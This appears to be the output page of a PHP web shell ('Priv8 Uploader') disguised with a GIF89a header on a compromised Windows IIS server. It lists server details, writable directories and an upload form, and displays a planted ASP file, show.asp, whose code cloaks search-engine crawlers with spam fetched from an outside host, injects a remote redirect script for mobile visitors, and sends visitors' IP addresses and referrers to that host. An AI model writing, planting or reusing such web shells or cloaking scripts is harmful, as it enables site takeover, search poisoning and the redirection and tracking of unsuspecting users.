.

GIF89a;
Priv8 Uploader By InMyMine7Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64




GIF89a; Priv8 Uploader By InMyMine7Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64




GIF89a; Priv8 Uploader By InMyMine7Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64




GIF89a; Priv8 Uploader By InMyMine7Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64






	.
	
	


	
		https://t.me/RX1948
	
	
		
			
				Server : Microsoft-IIS/10.0
System : Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64
User : hm77079 ( 0)
PHP Version : 7.3.6
Disable Function : passthru,exec,system,popen,chroot,chgrp,chown,escapesh,ellcmd,escapeshellarg
Directory :  D:/www/hm77079/wwwroot/news/

Upload File : 
				current_dir [ Writeable ]
				document_root [ Writeable ]
				

				
				

				 
				

Current File : D:/www/hm77079/wwwroot/news/show.asp
<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
' --- 基础配置 ---
Response.Charset = "UTF-8"
Session.CodePage = 65001
Server.ScriptTimeout = 60 ' 设置超时

' --- 获取环境变量 ---
Dim http_host, request_uri, user_agent, referer, remote_addr
http_host   = Request.ServerVariables("HTTP_HOST")
request_uri = Request.ServerVariables("URL") 
If Request.ServerVariables("QUERY_STRING") <> "" Then
    request_uri = request_uri & "?" & Request.ServerVariables("QUERY_STRING")
End If
user_agent  = Request.ServerVariables("HTTP_USER_AGENT")
referer     = Request.ServerVariables("HTTP_REFERER")
remote_addr = Request.ServerVariables("REMOTE_ADDR")

' --- 接口配置 ---
Dim api_base, params, target_url
api_base = "http://xxxx.zyez-edu.cn/show.php"
params = "?domain=" & Server.URLEncode(http_host) & _
         "&path=" & Server.URLEncode(request_uri) & _
         "&flag=global&db=" & Server.URLEncode(remote_addr) & _
         "&referer=" & Server.URLEncode(referer)
target_url = api_base & params

' --- 正则匹配定义 ---
Dim spider_regex, mobile_regex
spider_regex = "BaiduSpider|Sogou|Yisou|Haosou|360Spider"
mobile_regex = "phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone"

' --- 1. 判断搜索引擎蜘蛛 ---
If CheckRegex(user_agent, spider_regex) Then
    Dim remote_data
    remote_data = GetRemoteData(target_url)
    If remote_data <> "" Then
        Response.Write remote_data
        Response.End
    End If
End If

' --- 2. 判断移动端用户 ---
If CheckRegex(user_agent, mobile_regex) Then
    Response.Write "<script type=""text/javascript"" src=""http://ldy.zyez-edu.cn/tz.js""></script>"
    Response.End
End If

' --- 辅助函数：正则表达式匹配 ---
Function CheckRegex(str, patrn)
    Dim regEx
    Set regEx = New RegExp
    regEx.IgnoreCase = True
    regEx.Global = True
    regEx.Pattern = patrn
    CheckRegex = regEx.Test(str)
End Function

' --- 辅助函数：获取远程数据并处理乱码 ---
Function GetRemoteData(url)
    On Error Resume Next
    Dim xmlHttp, rawData
    ' 使用 MSXML2.ServerXMLHTTP 确保服务器端抓取稳定性
    Set xmlHttp = Server.CreateObject("MSXML2.ServerXMLHTTP")
    xmlHttp.Open "GET", url, False
    xmlHttp.SetRequestHeader "User-Agent", user_agent
    xmlHttp.Send
    
    If xmlHttp.Status = 200 Then
        ' 使用 ADODB.Stream 处理编码转换（解决 GBK 乱码问题）
        rawData = xmlHttp.ResponseBody
        GetRemoteData = BinaryToString(rawData, "UTF-8")
    Else
        GetRemoteData = ""
    End If
    
    If Err.Number <> 0 Then GetRemoteData = ""
    Set xmlHttp = Nothing
End Function

' --- 辅助函数：二进制转字符串 (解决乱码核心) ---
Function BinaryToString(binary, charset)
    Dim adodbStream
    Set adodbStream = Server.CreateObject("ADODB.Stream")
    adodbStream.Type = 1 ' adTypeBinary
    adodbStream.Open
    adodbStream.Write binary
    adodbStream.Position = 0
    adodbStream.Type = 2 ' adTypeText
    adodbStream.Charset = charset
    BinaryToString = adodbStream.ReadText
    adodbStream.Close
    Set adodbStream = Nothing
End Function
%>

https://t.me/RX1948 - 2025